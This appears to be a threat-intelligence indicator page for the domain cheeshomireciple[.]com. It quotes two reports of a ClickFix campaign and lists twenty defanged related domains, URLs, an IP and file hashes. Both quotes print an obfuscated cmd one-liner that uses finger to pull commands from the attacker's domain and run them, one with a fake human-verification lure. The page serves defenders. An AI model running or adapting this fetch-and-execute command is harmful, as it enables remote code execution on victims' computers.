cheeshomireciple[.]comDomain
Reported by 2 independent sources · first reported by Huntress · last reported
Last reported 3 months ago
What the reports say
2 reports, newest first · the exact sentence from each-
Intelligence Insights: July 2026“%COMSPEC% /k s^t^a^r^t "" /min for /f "skip=8 delims=" %h in ('f^^i^^n^^g^^e^^r [email redacted]@cheeshomireciple[.]com') do call %h & exit”
-
ClickFix Removes Your Background but Leaves the Malware“%COMSPEC% /k s^t^a^r^t "" /min for /f "skip=8 delims=" %h in ('f^^i^^n^^g^^e^^r [email redacted]@cheeshomireciple[.]com') do call %h & exit && echo ' ---Verify you are human--------press ENTER--- '”
Indicators reported together
named in the same reports- ai-scan[.]digitalin 2 reports
- bg-transparency[.]onlinein 2 reports
- linkedall[.]orgin 1 report
- golinked[.]netin 1 report
- indeed-jobs[.]netin 1 report
- hxxps://mirtona[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/loc12in 1 report
- mirtona[.]comin 1 report
- hxxps://trindastal[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/loc8in 1 report
- trindastal[.]comin 1 report
- hxxps://trindastal[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/v8in 1 report
- hxxps://trindastal[.]com/8250d149-9bf8-566d-9d7d-ea925eae0a4in 1 report
- f5dbaa09e60343f2…3744e3c11febin 1 report
- 38.146.28[.]30in 1 report
- bde21d8be65d31e1…fdf6c3768c92in 1 report
- ed391a16389234f9…b7d0565d7fb9in 1 report
- hxxps://trindastal[.]com/8250d149-9bf8-566d-9d7d-ea925eae0a4c/in 1 report
- hxxps://obelnamevalf[.]org/OaTS7yE9zd/defaultin 1 report
- obelnamevalf[.]orgin 1 report
- hxxps://brionter[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/net40.binin 1 report
- brionter[.]comin 1 report
Copy these 20 indicators · defanged
Thanks — we review every report.